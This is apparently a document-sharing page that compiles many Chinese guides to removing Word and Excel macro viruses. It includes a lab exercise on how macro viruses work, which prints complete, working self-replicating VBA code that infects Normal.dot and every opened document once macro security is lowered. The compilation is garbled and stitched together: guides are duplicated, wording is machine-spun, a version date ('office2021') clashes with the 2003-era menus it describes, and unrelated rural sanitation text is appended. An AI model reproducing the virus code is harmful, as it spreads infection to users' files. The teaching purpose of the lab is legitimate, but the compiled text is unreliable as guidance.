【免费下载】office 宏病毒处理方法

合集下载

关于Office文档中宏病毒的处理方法

关于Office文档中宏病毒的处理方法

关于Office文档中宏病毒的处理方法
Office文档是目前使用最多、最常见的办公文档(它包含Word文档,Excel文档,PPT文档等),由于Office 软件默认的安全级别为中,所以Office文档成了病毒攻击的目标,目前有许多Office文档病毒,最近校园网出现的宏病毒传播,成了大家头疼的一件事,现就处理方法介绍如下,请各老师参考与分享。

1.宏病毒的分析
Office文档中的宏是Office中最高级别的部分,平时大家很少用到,它能把繁重的工作简单化,默认的安全级别为中,宏病毒正是利用这一点通过网络、U盘等进行传播,中毒的电脑明显反应变慢,Office文档大小在不断变化,有的成倍增加,一个小小的电子表格就有2M之多,使用十分困难。

2.感染后的特征
感染后的Office文档,除大小变大外,每次打开都要求启用宏,不启用便不能打开Office文档,或者打开了,全是空白,如果使用杀毒软件,则会把文档删除,给用户带来许多麻烦。

Office软件运行缓慢,电脑经常死机等。

由于现在(QQ、126)邮件系统都集成防毒软件,在发送邮件时上传感染后的Office文档,邮件系统会提示文件发送失败。

3.处理方法
方法一:
点击下载“Office病毒专杀.zip”工具,解压后安装,界面如下:
点击全盘杀毒,即可对电脑中的Office病毒进行全面查杀。

方法二:点击下载安装“新版360杀毒软件.rar”,启动新增Office宏病毒免疫功能。

office宏病毒杀毒方法

office宏病毒杀毒方法

宏病毒杀毒方法提醒一台电脑不要装多种杀毒软件,如果有请卸载并只剩下一种,否则会影响电脑速度,安全卫士不算杀毒软件。

方案一:使用最新版360杀毒(推荐)360杀毒下载地址:。

1、实时监控杀毒:当你的桌面存在有Office病毒文件时,360杀毒将会有以下提醒,只需要点击“立即修复”即可查杀掉病毒。

2、手动杀毒:当你觉得某些文件夹或文件需要杀毒时,右键此文件夹或文件,选择“使用360杀毒扫描”。

当然也可以在360杀毒的主界面中,选择快速杀毒、全盘杀毒等。

3、误杀后恢复:在360杀毒的主界面中,点击“查看隔离区”,找到你想恢复的文件恢复即可。

小红伞是国际领先的杀毒工具,打开小红伞杀毒引擎,可以帮助查杀最新的病毒。

方案二:使用新毒霸杀毒新毒霸下载地址:/1、实时监控杀毒:当你运行带有Office病毒的文件时,会出现以下提醒,提醒已经杀除宏病毒,但文件没有打开,需要第二次双击打开。

2、手动杀毒:当你觉得某些文件夹或文件需要杀毒或有病毒一直杀除不掉时,右键此文件夹或文件,选择“使用新毒霸扫描”。

当然也可以在新毒霸的主界面中,选择一键云查杀等。

方案三:使用小红伞杀毒小红伞下载地址:/package/wks_avira13/win32/zhcn/p ecl/avira_free_antivirus_zhcn.exe功能介绍:小红伞能实时提示是否有Office病毒,使用方法类似于前两个软件,但不推荐普及使用,有时比较难处理,这里不做具体介绍。

方案四:使用宏病毒专杀:/thread-22450603-1-1.html当然还有其他方案,推荐使用方案一、二。

由于病毒不断更新,杀毒软件也必须经常更新才能达到保护电脑的目的,请大家提高网络安全意识,学会使用杀毒软件。

提醒一台电脑不要装多种杀毒软件,如果有请卸载并只剩下一种,否则会影响电脑速度,安全卫士不算杀毒软件。

信息化办公室2012年12月20日。

怎么清除Word宏病毒

怎么清除Word宏病毒

怎么清除Word宏病毒在这个病毒泛滥的时代里面,你是否听说过宏病毒?那你知道怎么清除Word宏病毒吗?下面是店铺整理的一些关于怎么清除Word宏病毒的相关资料,供你参考。

清除Word宏病毒的方法:一、Word宏病毒MicrosoftWord中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列Word命令,它能使日常工作变得更容易。

”Word使用宏语言WordBasic将宏作为一系列指令来编写。

要想搞清楚宏病毒的来龙去脉,必须了解Word宏的知识及WordBasic编程技术。

Word宏病毒是一些制作病毒的专业人员利用MICROSOFTWord 的开放性即Word中提供的WordBASIC编程接口,专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机使用,并能通过DOC文档及DOT模板进行自我复制及传播。

宏病毒的特点1、传播极快Word宏病毒通过DOC文档及DOT模板进行自我复制及传播,而计算机文档是交流最广的文件类型。

多年来,人们大多重视保护自己计算机的引导部分和可执行文件不被病毒感染,而对外来的文档文件基本是直接浏览使用,这给Word宏病毒传播带来很多便利。

特别是Internet网络的普及,E-mail的大量应用更为Word宏病毒传播铺平道路。

2、制作、变种方便Word使用宏语言WordBasic来编写宏指令。

宏病毒同样用WordBasic来编写。

目前,世界上的宏病毒原型已有几十种,其变种与日骤增,追究其原因还是Word的开放性所致。

现在的Word病毒都是用WordBasic语言所写成,大部分Word病毒宏并没有使用Word提供的Execute—Only处理函数处理,它们仍处于可打开阅读修改状态。

所有用户在Word工具的宏菜单中很方便就可以看到这种宏病毒的全部面目。

当然会有“不法之徒”利用掌握的Basic语句把其中病毒激活条件和破坏条件加以改变,立即就生产出了一种新的宏病毒,甚至比原病毒的危害更加严重。

【VIP专享】office宏病毒的解决方法

【VIP专享】office宏病毒的解决方法

最近公司内宏病毒泛滥,尤其是WORD、EXCEL文件中的宏病毒在公司办公电脑上互相感染,影响了办公效率,给我们的日常办公造成了困扰。

经过测试,现在找到了一个比较有效的远离宏病毒的方法,即“删除OFFICE中的VBA”,操作步骤如下:1、点开始—>控制面板->打开“添加删除程序“并找到“Microsoft office professional Edition2003”2、单击按钮,出现OFFICE安装界面。

3、选择“添加或删除功能”,然后单击“下一步”。

4、在“选择应用程序的高级自定义”前打上勾,并单击“下一步”。

5、选择office共享功能下的“Visual Basic for Applications”项,下拉它前面的三角,选择“不安装”。

此时它的前面就变成了一个红叉号,然后单击“更新”按钮。

7、显示出“Microsoft office 2003已被成功地更新”,单击“确定”8、提示“重新启动计算机后,生效……”,单击按钮“是”,重新启动计算机,Office中的VBA已删除。

9、分别打开WORD、EXCEL,选择菜单栏中的“工具”-->宏-->安全性选择安全级为“非常高”。

可靠发行商下面的“信任所有安装的加载项和模板”、“信任对于Visual Basic 项目的访问”这两项都不要选中。

(备注:第9项有的电脑不需要设置。

)删除了VBA后新建的文件,不会含有宏病毒了,但是原来的文件中有可能含有宏病毒。

原文件的除毒方法:1、打开文件时,如果提示“此工作簿已丢失了其VBA项目……”并且文件的标题上方显示着“只读”2、点文件“另存为”3、再打开另存后的文件,文件就不含有宏病毒代码了,打开的时候也不会再出此“此工作薄已丢失了其VBA项目”、“此工作薄中含有宏病毒的提示了。

”注:近期有几台电脑,需要关闭360安全卫士才可以正常使用OA,我们与360产品研发部反馈后,360产品研发部已将360安全卫士已进行了升级。

office宏病毒的解决方法

office宏病毒的解决方法

最近公司内宏病毒泛滥,尤其是WORD、EXCEL文件中的宏病毒在公司办公电脑上互相感染,影响了办公效率,给我们的日常办公造成了困扰。

经过测试,现在找到了一个比较有效的远离宏病毒的方法,即“删除OFFICE中的VBA”,操作步骤如下:1、点开始—>控制面板->打开“添加删除程序“并找到“Microsoftoffice professional Edition2003”2、单击按钮,出现OFFICE安装界面。

3、选择“添加或删除功能”,然后单击“下一步”。

4、在“选择应用程序的高级自定义”前打上勾,并单击“下一步”。

5、选择office共享功能下的“Visual Basic for Applications”项,下拉它前面的三角,选择“不安装”。

此时它的前面就变成了一个红叉号,然后单击“更新”按钮。

7、显示出“Microsoft office 2003已被成功地更新”,单击“确定”8、提示“重新启动计算机后,生效……”,单击按钮“是”,重新启动计算机,Office中的VBA已删除。

9、分别打开WORD、EXCEL,选择菜单栏中的“工具”-->宏-->安全性选择安全级为“非常高”。

可靠发行商下面的“信任所有安装的加载项和模板”、“信任对于Visual Basic 项目的访问”这两项都不要选中。

(备注:第9项有的电脑不需要设置。

)删除了VBA后新建的文件,不会含有宏病毒了,但是原来的文件中有可能含有宏病毒。

原文件的除毒方法:1、打开文件时,如果提示“此工作簿已丢失了其VBA项目……”并且文件的标题上方显示着“只读”2、点文件“另存为”3、再打开另存后的文件,文件就不含有宏病毒代码了,打开的时候也不会再出此“此工作薄已丢失了其VBA项目”、“此工作薄中含有宏病毒的提示了。

”注:近期有几台电脑,需要关闭360安全卫士才可以正常使用OA,我们与360产品研发部反馈后,360产品研发部已将360安全卫士已进行了升级。

如何清除宏病毒

如何清除宏病毒

如何清除宏病毒
手工清除:1、全盘搜该文件,删除;[star tup.xls] 2、立即在相同位置创建一个同名的0字节文件[startup.xls],并设置为只读、隐藏模式;3、注册表中搜startup.xls字样,找到后删除;4、全盘搜名字为*.xls ,内容包括startup.xls 字样的文件,如果该文件打开时报错[提示无法打开文件],则证明该文件已经染毒;5、打开该染毒文件,按alt+F11 ,VB编辑器打开后,再按ctrl+r ,工程资源管理器打开后,如果找到startup. xls字样,就将该项移除,然后关闭VB 编辑器窗口,将该表保存退出即可
如何彻底清除宏病毒
如果是Excel2003的文件,而且你已经安装了Office2007文件格式兼容包,可以这样去处宏: 先把带有excel 4.0宏表的EXCEL
文件打开,然后另存为“Excel 2007 工作簿”,有提问时回答“是”。

这样保存的EXCE
L2007文件就已经被去除了宏,如果你想再转回EXCEL2003文件,那么打开刚才保存的EXCEL2007文件,另存为“Microsoft Of fice Excel 工作簿”或者“Microsoft Excel 9 5 - Excel 2003 & 5.0/95 工作簿”即可。

宏病毒处理方法

宏病毒处理方法

宏病毒处理方法各位领导及同事:近期各部门office软件都发现宏病毒,宏病毒会自动更改execl文件的安全性(将之自动调为低)并在发作后毁坏感染的office文件,严重影响大家的日常工作。

现将处理方法简单介绍如下(该处理办法主要针对office2021):一:随本文件一起装箱存有“金山毒霸宏病毒暴横工具”,双击“金山毒霸宏病毒暴横工具”自动展开加装,加装后界面如下:点击全盘杀毒,即可对电脑中的office病毒进行全面查杀。

(如果计算机上装有wps,金山毒霸宏病毒专杀则不能查杀)二:1、随本文件一起装箱存有最新360安装文件,双击“新版360杀毒软件”展开加装(特别注意:在加装360安装包前需将电脑以前加装过的杀毒软件装载,装载后重新启动电脑再加装最新版360),新版360在病毒免疫系统中启动追加office宏病毒免疫系统功能。

2、在杀毒软件右上角,打开设置,并按照下图设置杀毒软件参数,进行设置:3、在设置中关上“病毒读取设置”,其中“须要读取文件类型”选上“读取所有文件、步入压缩包柯亭”。

4、设置好后,更新杀毒软件,如下图,点击软件右上角“升级”,在打开的界面中进行自动升级。

在反复确认升级完成后,再选择“全盘扫描”,然后查毒。

三:杀毒回去宏病毒后关上excel表格文件设置,将宏的安全性设置为低“工具——宏——安全性”如果宏的安全性无法设置为低,则须要对该文件页面右键,单独展开一次360杀毒和“金山毒霸宏病毒专杀工具”杀毒,再将“宏”安全性如下图调到“中”,文件打开后若出现“禁用宏”或“启用宏”选项,则选择“启用宏”。

(文件只需进行一次查杀即可)期望各部门严苛按照上述方法对公司办公电脑及个人电脑展开office宏病毒杀毒。

海螺其他兄弟公司也存有宏病毒发生,恳请大家在拒绝接受邮件及采用移动存储设备之前先采用上述两个软件展开杀毒后再关上,以免发生重复病毒感染。

word和EXCEL宏病毒处理方法

word和EXCEL宏病毒处理方法

...打不开症状:双击运行时,打不开,弹出窗口提示:“ 遇到问题需要关闭.我们对此引起地不便表示抱歉.”有两个选择“发送错误报告”和“不发送”.如果选择“不发送”,程序将自动关闭,然后再次运行,而且会询问“是否以安全模式启动”?如果选择“是”,将进入“安全模式”.在这种模式下,将仅显示空白窗口,需要再手动打开文档方可显示.如果选择“否”,又将弹出这种对话框,不断地循环.【解决办法一】第一步:此文件一般默认在系统盘,也就是盘.文件夹是隐藏地,所以我们必须先“显示隐藏文件”.双击打开“我地电脑”,单击“菜单栏”地“工具”>“文件夹选项”>查看,将“隐藏受保护地操作系统文件(推荐)”前面地勾取消,然后将“显示隐藏地文件、文件夹和驱动器”勾上,确定.个人收集整理勿做商业用途第二部:打开路径::\ \\ \\ ,你会看见两个文件,将“”删除掉.个人收集整理勿做商业用途最后重新打开看看,是不是可以正常启动了.【解决办法二】操作一:在弹出地“是否以安全模式启动”时,选择“是”;操作二:进入后,选择“菜单栏”地“文件”>新建;操作三:然后在右边地“新建文档”处点击“本机上地模板”操作四:删除“空白模板”,确定.重新运行,就可以恢复正常了.宏病毒(病毒)处理方法症状:第一次打开带病毒地文档时,会提示“是否启用宏”对话框,以后每次打开文档时就会自动弹出一个文档.个人收集整理勿做商业用途传播途径:主要以发送邮件或使用盘时,接收了带病毒地文档.处理步骤:、首先进行病毒查杀:使用病毒专杀软件、瑞星杀毒软件、杀毒软件查杀(有些病毒可能查杀不到).个人收集整理勿做商业用途、然后将病毒源删除:在:\ \ \\\下,然后将文件删除.个人收集整理勿做商业用途查毒方式:主要有病毒专杀软件、瑞星杀毒软件、杀毒软件等....。

关于Word宏病毒的处理方法

关于Word宏病毒的处理方法

关于Word宏病毒的处理方法一、W97M.Lexar.B系列病毒现象:1、感染后的电脑,在保存Word文档时会弹出另存为对话框2、或提示在没有启用宏的文档中无法保存文件。

3、或提示文档存在二义性。

4、或发邮件时被退回,或收不到邮件。

5、导致OA编辑正文保存时出错、或保存不了正文、或无法盖章。

二、处理方法(必须严格遵守步骤处理):1、彻底关闭360杀毒。

2、删除“C:\Documents and Settings\(当前用户名)\Application Data\Microsoft\Templates”里面的模板文件。

3、下载最新的360杀毒软件:/indexbeta.html,安装并启动OFFICE病毒免疫。

三、具体处理步骤:1、关闭所有OFFICE文件。

2、显示隐藏的操作系统保护文件第一步:打开C盘选择“组织”,点击“文件夹和搜索选项”第二步:将隐藏文件选项按上图设置,确定第三步:在C盘找到“Documents and Settings”文件夹3、解除文件夹访问权限a)默认情况下“Documents and Settings”不可访问,需解除其访问权限b)解除步骤:第一步:右击“Documents and Settings”文件夹,选择属性,点击上图“高级”按钮第二步:打开高级安全设置选项卡,点击更改权限第三步:打开“更改高级权限设置”卡,选择图中的“拒绝”项,删除,确定4、进入文件夹逐级进入“C:\Documents and Settings\(当前用户名)\Application Data \Microsoft\Templates”文件夹,如遇到没有权限的文件夹则参照“3.3解除文件股权访问权限方法”解除权限。

5、删除文件夹内的所有文件文件删除后病毒即可删除。

6、启动新下载的360杀毒,下次打开有毒的文件时将会自动杀毒。

OFFICE宏病毒查杀方案

OFFICE宏病毒查杀方案

OFFICE宏病毒查杀方案OFFICE宏病毒查杀方案彻底查杀本次OFFICE宏病毒,需通过以下步骤解决。

一、清除用户电脑上存在的病毒。

(4月16日11:30-13:00进行)二、安装或升级防毒软件,避免再次感染。

(4月16日11:30-13:00进行)具体说明如下:一、清除用户电脑上存在的病毒。

1、使用专杀工具“MacroKiller”进行杀毒。

图1MacroKiller专杀工具2、使用“Cleanmacro”office病毒专杀工具,进行杀毒。

图2“Cleanmacro”office病毒专杀第一文库网工具二、安装或升级防毒软件,避免再次感染。

1、安装ESETNOD32Antivirus4杀毒软件或者免费的360杀毒软件,注意2种杀毒软件不可以安装在同一台电脑。

2、建议已经安装ESETNOD32的用户先升级软件和病毒库,再进行查杀。

(具体操作如下图3、4、5)3、建议已经安装360的用户先升级软件和病毒,再进行查杀。

(具体操作如下图6、7、8、9)4、完成以上步骤以后,即可拥有对本次OFFICE宏病毒的防御能力。

5、培养良好的计算机使用习惯,防止病毒感染。

建议用户接收到文件后,先使用杀毒软件对文件进行查杀后再打开接收到的文件,尽量避免直接打开接收到的'文件,减少病毒感染的机率。

例1、通过OA打开文件时,建议先另存,再杀毒,然后再打开。

例2、通过RTX或其他即时通讯软件接收到的文件或程序,先另存再杀毒,然后再打开或运行;培养定期对电脑进行全盘杀毒的习惯,防止感染病毒。

图3ESETNOD32Antivirus4杀毒软件图4升级到4.2.71.2以上版本可以查杀本次OFFICE宏病毒图5ESETNOD32发现病毒后会自动隔离病毒文件,达到防御的目的。

如必须查看该文档请对方先通过专杀工具查杀后再发送。

图6360杀毒软件需升级到3.0.0.3031以上版本图7设置360杀毒软件的“实时防护设置”图8手动杀毒,鼠标单击右键选择相应的杀毒软件手动查杀病毒。

如何解决WORD宏病毒

如何解决WORD宏病毒

一、word选项——加载项——管理【com加载项】,转到——把几个勾勾都取消掉——确定。

二、Office按钮→ Word选项→信任中心…信任中心设置‟→宏设置…宏设置‟下点选…禁用所有宏,并且不通知‟。

三、选择控制面板中的添加删除程序,选中office2007选择添加或删除功能,在对“office共享功能”的选择项里面,其中有两个选项,一个是“VBA项目的数字证书”,另一个是“viral basic for applications”,可能是在自定义安装时没有安装这两个模块,或者只选择安装了其中一个。

知道了这个情况后,重新选择并安装上这两个组件即可。

四、进入“工具|宏”,查看模板Normal.dot,若发现有Filesave、Filesaveas等文件操作宏或类似AAAZAO、AAAZFS
明的宏。

对以Auto×××命名的,若不是用户自己命名的自
创建的自动宏,可以打开它,看是否与原来创建时的内容一
改这时应该将自动宏修改为原来编制的内容。

在最糟的情况
路不明的宏,甚至是用户自己创建的宏。

因为即便删错了,也不会对Word文档内容产生任何影响,仅仅是少了“宏功能”。

如果需要,还可以重新编制。

入“文件|新建”,选择“模板”,正常情况下,可以在“文件模板”处见到“Normal.dot”,如果没有,说明文档模板文件Normal.dot已被病毒修改了。

这时用你手边原来备份
删掉然毒Normal.dot,重新进入Word,在“模板”里,重置默认字体等选项后退出Word,系统就会自动创建一个干净的Normal.dot。

再进入Word,再打开原来的文本,并新建。

Excel宏病毒的应对方法

Excel宏病毒的应对方法

Excel宏病毒的应对方法
电脑中了Excel宏病毒,很多Excel文档无法打开或无法正常找开,上网查询后下载专杀毒软件杀毒后发现宏病毒已经清除,重启后病毒还在。

经过试验处理了几台中毒的电脑,总结方法如下以供参考。

1、最简单的方法
第一步进入删除Office 应用程序控制面板---添加或删除程序
----Microsoft Office Professional Edition 2003—----删除
第二步安装Office软件下载简化版或完全版安装到电脑中即可
第三步关闭网络拔掉网络线或进入“网上领居”属性----“本地连接”----停用
第四步打开中毒的Excel文件在弹出对话框中选择“禁用宏”,然后全选内容-----复制,新建文件----粘贴(刚才所复制的内容)-----保存文件。

第五步重复第四步完成所有打不开的Excel文件的处理工作
第六步重开网络插入网络线或进入“网上领居”属性----“本地连接”----启用
完成
2、重装系统方法安装好系统和office 软件,执行第一种方法中的第二步至第六步即可
所有的事后处理都是亡羊补牢,我们应该平时养成防范意识,安装杀毒软件并经常更新和检查磁盘,对来历不明的U盘和光碟要慎用,特别不要关闭防火墙等杀毒软件给病毒入侵有可乘之机,让自己的电脑安全正常工作。

office宏病毒查杀教程

office宏病毒查杀教程

近期,我公司很多同事电脑总是出现excel表格打开不正常现像,出现以下对话框(对话框中内容是:该工作簿中含有一种既无法被禁用,又无法被签署的宏(Microsoft Excel 4.0版本宏)。

因此,该工作簿无法在“高安全级”下打开。

如果………,再单击“安全性”对话框中的“中”。

)或出现如遇以上情况,请参照以下解决办法。

注意:步骤一和步骤三为软件自动查杀方法,步骤四至步骤六为手动查杀方法。

(本教程假设先自动查杀不管用后,再用手动查杀。

可直接使用手动查杀)步骤一:下载Office病毒专杀工具(附件有),并双击安装。

步骤二:在有问题的excel表格文件上右击,选择“查office病毒”一般情况下,经过此步骤后,你的excel表格就可以正常打开了,此时弹出的对话框提示是“保存文件成功……”。

若出现以下画面,显示“保存文件失败,请将……”等一通长串提示,恭喜你,可以继续以下步骤三,此时,我们试图查杀的文件已被隔离了,在原来位置找不到了,不怕,因为我们有“后悔药”。

步骤三:点击“后悔药”按钮步骤四:打开我们有问题的excel文件(我的文件是“复件总~1.xls”)此时又出现了烦人的对话框提示,点击“确定”依次选择,工具——宏——安全性出现以下对话框,选择“中”,并确定步骤五:再次打开我们步骤四打开的文件(我的文件是“复件总~1.xls”),选择“启用宏”依次选择,格式——工作表——取消隐藏,点击“确定”我们的工作簿中多了一个名为“00000ppy”的工作表,右击删除它。

点击“确定”步骤六:依次选择,插入——名称——定义删除完成后“确定”最后,注意“保存”。

哦,不是注意,是一定要保存!到这里,这个文件中所含病毒已被手动清除了,以后再打开就不会有任何问题了!步骤七:若谁看完了我的教程,还不知道如何操作,麻烦去菜市场买块豆腐,然后用1000N的力以10m/s的速度拍向自己的脑门,直到看懂为止!!本教程原创,盗版必究!。

遇到宏病毒怎么办

遇到宏病毒怎么办

遭遇Word宏病毒怎么办word好用,宏病毒可怕,笔者在多次遭遇word宏病毒之后,终于摸索出一个自力更生,手工解决word宏病毒的简单、应急方法,成功率100%(适用于Word97、Word2000)。

一、常见现象描述现象1:使用word过程中,在进行打开、保存或关闭文档操作时,提示诸如“对象不存在”.之类的错误信息(这是宏病毒没编好,造成的执行错误),并出现一个调试窗口,可以看到一行行代码(这些代码就是宏病毒的“身体”——VBA语言编写)导致正常的文档编辑工作无法进行,文档无法保存。

…现象2:进行正常操作时,忽然出现各种莫名其妙的对话窗口,比如,突然蹦出个对话框,提示让你输入一句话,还常带有一些俏皮话。

现象3:没有进行任何关闭操作的前提下,正在编辑的文档自动关闭,或者word自动关闭。

现象4:正常使用word时,常常突然出现提示Word非法操作,文档来不及保存。

二、检查宏病毒当怀疑有宏病毒时,可以通过以下方法确认宏病毒的存在:方法1:选择[工具]/[宏]/[宏],如果出现对话框,对话框中有诸如AutoOpen、Autoclose、DocumentOpen、Documentsave、DocumentClose之类的宏名,无法确认其来源,可以认为是宏病毒。

方法2:选择[工具]/[宏]/[宏]、[录制新宏]、[visual Basic编辑器]菜单项,如果没有任何反应,可以确认宏病毒存在;同样,选择[选项]菜单项,[选项]对话框并不出现,可以确认宏病毒。

方法3,:打开[工具]菜单,发现其中的[宏]和[选项]菜单项“消失”了,而且没有人为的自定义过菜单,这就应该是宏病毒为保护自己不被发现、不被预防而设置的障碍。

三、解决办法应该相信,一切word宏病毒都是纸老虎。

这是因为:1.宏病毒用解释性语言VBA编写,需要word对宏病毒解释,宏病毒才能运行;2.宏病毒的自我复制,需要利用Word的通用模板文件(NOM6JLL.DOT)作为中介;3.word本身有预防宏病毒的功能。

感染宏病毒解决处理办法

感染宏病毒解决处理办法

最近word文档感染宏病毒解决处理办法:
一、首先要清除掉word模版,Word模板路径在哪里呢?
1、在Windows XP系统中,“我的模板”所在文件夹目录为C:\Documents and
Settings\Administrator\Application Data\Microsoft\Templates;
2、而在Windows Vista或Windows7\windows10系统中,“我的模板”文件夹目录为
Users\Administrator\AppData\Roaming\Microsoft\Templates。

3、特别注意:word2003模版文件名是:normal.dot , word2007\2010\2016等
的模版文件名是:normal.dotm
4、如果以上目录找不到可能是你电脑隐藏了目录,请在此设置处打开
二、其次是将电脑系统中360杀毒升级到最新版,再进行全盘杀毒。

亲们不要
用金山毒霸杀毒,这个软件不大管用。

【下载本
文档,可以自由复制内容或自由编辑修改内容,更多精彩文章,期待你的好评和关注,我将一如既往为您服务】。

【免费下载】实验七 计算机宏病毒分析及清除实验

【免费下载】实验七 计算机宏病毒分析及清除实验

实验七计算机宏病毒分析及清除实验一、实验目的⏹了解“宏病毒”机理;⏹掌握清除宏病毒的方法;⏹掌握采用“宏”和脚本语言进行编程的技术。

二、实验时数:2小时三、实验环境⏹Windows 2000/2003/XP或更高级别的Windows操作系统;⏹Office Word 2000/2003等字处理软件。

四、实验要求⏹演示宏的编写;⏹理解宏病毒的作用机制。

五、实验步骤:1.软件设置关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。

注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。

2.自我复制功能演示打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏” “Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。

完整代码如下:'Macro-1:Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseSet ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModuleSet host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith hostIf .Lines(1, 1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 2, "Sub Document_Close()"If ThisDocument = NormalTemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "MicroVirus by Content Security Lab"End Sub以上代码的基本执行流程如下:1)进行必要的自我保护:Application.DisplayStatusBar = FalseOptions.SaveNormalPrompt = False高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。

怎样处理“宏病毒”

怎样处理“宏病毒”

我的Excel一打开就提示你有一个无法禁用的宏,经网络搜索,找到一种有效的办法,现收录:1、格式-工作表—取消隐藏,把隐藏的工作表删除。

2、插入-名称-定义,把所有的名称定义删除。

此时该文件的病毒已删除。

但病毒源头还在,请执行第3.步和第4步。

3、用EXCEL2003打开ProgramFiles\MicrosoftOffice\OFFICE11\XLSTART下的book1文件,执一1、2步。

(BOOK1文件为无扩展名,请用右键-打开方式-选择EXCEL打开)4、找到ProgramFiles\MicrosoftOffice\OFFICE11\XLSTART下的book1文件,右键-属性-只读打勾-确定。

由于EXCEL每次启动时自动打开ProgramFiles\MicrosoftOffice\OFFICE11\XLSTART下的book1文件,经过3、4步处理后,不会在本机上再传播此病毒,但已感染的文件必须逐一进行每1步和第2步处理。

注:此病毒重装系统无效,不会在EXCEL 2007传播。

感染病毒的文件无法通过邮件发送。

另外,打开文件时新建无数个excel文件,也是该病毒作怪。

我区以xx新城区建设、创建全国文明城市和迎接“十运会”、“绿博会”为契机,以改善农村环境面貌,提高环境卫生管理水平为目的,以加强农村环卫基础设施和建立长效管理机制为重点,全面开展农村创建卫生村工作。

主要进行了以下几方面工作:一、加强组织协调,确保经费到位。

区政府、各相关街道、行政村结合区情实际,研究制定卫生村创建工作方案,把创建卫生村工作纳入年度考核目标和责任状,切实加强对农村创建工作的组织领导,保证创建工作的有序进行。

在农村创建卫生村工作中,各级财政增加对农村卫生基础设施建设的投入,安排专项经费,确保创建工作的开展。

据统计,在今年创建卫生村工作中区、街道两级政府共投入资金80余万元。

一是根据工作人员的变动及时调整行政村创建工作领导小组,加大组织领导力度,成立创建工作专业领导小组,专门负责创建卫生村工作,明确责任制。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

Office文档是目前使用最多也是最常见的办公文档(它包含Word文档,Excel文档,PPT文档等),以至于Office软件成了大家必备的软件,由于Office软件默认的安全级别为中,所以Office文档成了病毒攻击的目标,目前有许多Office文档病毒,以最近教科局出现的宏病毒为例,成了大家头疼的一件事,现就个人处理方法介绍如下,供大家参考与分享。

1、宏病毒的分析
Office文档中的宏是Office中最高级别的部分,平时大家很少用到,它能把繁重的工作简单化,默认的安全级别为中,宏病毒正是利用这一点通过网络、U盘等进行传播,中毒的电脑明显反应变慢,Office文档大小在不断变化,有的成倍增加,一个小小的电子表格就有2M之多,使用十分困难。

2、中毒后文件的特征
中毒后的Office文档,除大小变大外,每次打开都要求启用宏,不启用便不能打开Office文档,或者打开了,全是空白,如果使用杀毒软件,则会把文档删除,给用户带来许多麻烦。

Office软件运行缓慢,电脑经常死机等。

3、处理方法:
在网上下载“Office病毒专杀”工具(下载地址:http://ww /html/5254.html),解压后安装,界面如下:
点击全盘杀毒,即可对电脑中的Office病毒进行全面查杀。

备注:该软件使用前要关闭其他杀毒软件!。

相关文档
最新文档